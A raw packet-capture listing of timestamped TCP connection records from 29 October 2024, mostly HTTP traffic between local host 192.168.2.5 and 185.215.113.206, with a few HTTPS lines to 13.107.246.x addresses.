Oct 29, 2024 20:35:24.022764921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022764921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022766113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022777081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022787094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022799015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022809982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022820950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022834063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022838116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022838116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022845030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022880077 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022880077 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022892952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022903919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022913933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.022952080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.022952080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023019075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023030996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023041010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023053885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023058891 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023065090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023076057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023087025 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023098946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023103952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023103952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023112059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023149967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023149967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023168087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023179054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023189068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023200035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023211002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023220062 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023220062 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023221970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023232937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023245096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023258924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023263931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023263931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023305893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023305893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023319006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023334980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023345947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023355007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023365974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023376942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023387909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023399115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023399115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023399115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023410082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023422003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023432970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023442030 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023442030 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023444891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023456097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023484945 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023484945 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023485899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023497105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023508072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023519039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023530006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023540974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023545980 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023545980 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023550987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023561954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023572922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023586035 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023586035 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023587942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023605108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023616076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023627043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023638010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023638964 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023638964 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023648977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023658991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023670912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023682117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023682117 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023682117 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023694038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023729086 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023729086 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023742914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023753881 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023763895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023773909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023782969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023796082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023812056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023813009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023813009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023823023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023833036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023844004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023854971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023864985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023869991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023869991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023878098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.023919106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.023920059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028481960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028493881 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028505087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028551102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028551102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028630018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028645992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028662920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028673887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028685093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028701067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028704882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028704882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028712034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028723001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028733015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028743982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028753996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028753996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028754950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028767109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028778076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028789997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028800964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028811932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028819084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028819084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028824091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.028860092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.028860092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.050133944 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.061667919 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.061686993 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.062568903 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.062573910 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.081106901 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:24.081132889 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:24.081202030 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:24.081445932 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:24.082609892 CET	49950	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:24.082622051 CET	443	49950	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:24.101105928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101233959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101246119 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101264954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101275921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101286888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101290941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101290941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101299047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101311922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101324081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101336956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101349115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101361036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101366997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101372004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101377964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101394892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101394892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101394892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101407051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101418972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101429939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101437092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101437092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101442099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101453066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101463079 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101464987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101478100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101495028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101505995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101524115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101524115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101557016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101567984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101577997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101589918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101603031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101610899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101610899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101613998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101624966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101636887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101648092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101654053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101655006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101655006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101660013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101670027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101689100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101708889 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101711988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101711988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101720095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101731062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101742029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101752996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101764917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101775885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101775885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101777077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101788998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101799965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101811886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101814985 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101814985 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101828098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101839066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101849079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101861000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101871967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101871967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101875067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101886988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101900101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101911068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101918936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101918936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101922989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101933956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101939917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101944923 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101973057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101978064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101978064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.101984978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.101996899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102008104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102019072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102030039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102039099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102039099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102041960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102047920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102052927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102062941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102078915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102091074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102101088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102103949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102114916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102125883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102137089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102149010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102149963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102149963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102160931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102173090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102180004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102185965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102185965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102221012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102231979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102241993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102252960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102252960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102253914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102266073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102277040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102288961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102303028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102309942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102309942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102315903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102323055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102340937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102353096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102360010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102360010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102364063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102385044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102396011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102406025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102406025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102407932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102418900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102430105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102442026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102447033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102452993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102462053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102462053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102463007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102483988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102500916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102504015 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102504015 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102511883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102524042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102536917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102546930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102560043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102562904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102562904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102571011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102582932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102595091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102602005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102603912 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102603912 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102618933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102631092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102643013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102643967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102643967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102654934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102665901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102678061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102706909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102706909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102754116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102765083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102777004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102787971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102798939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102799892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102809906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102821112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102832079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102843046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102843046 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102843046 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102854013 CET	80	49863	185.215.113.206	192.168.2.5
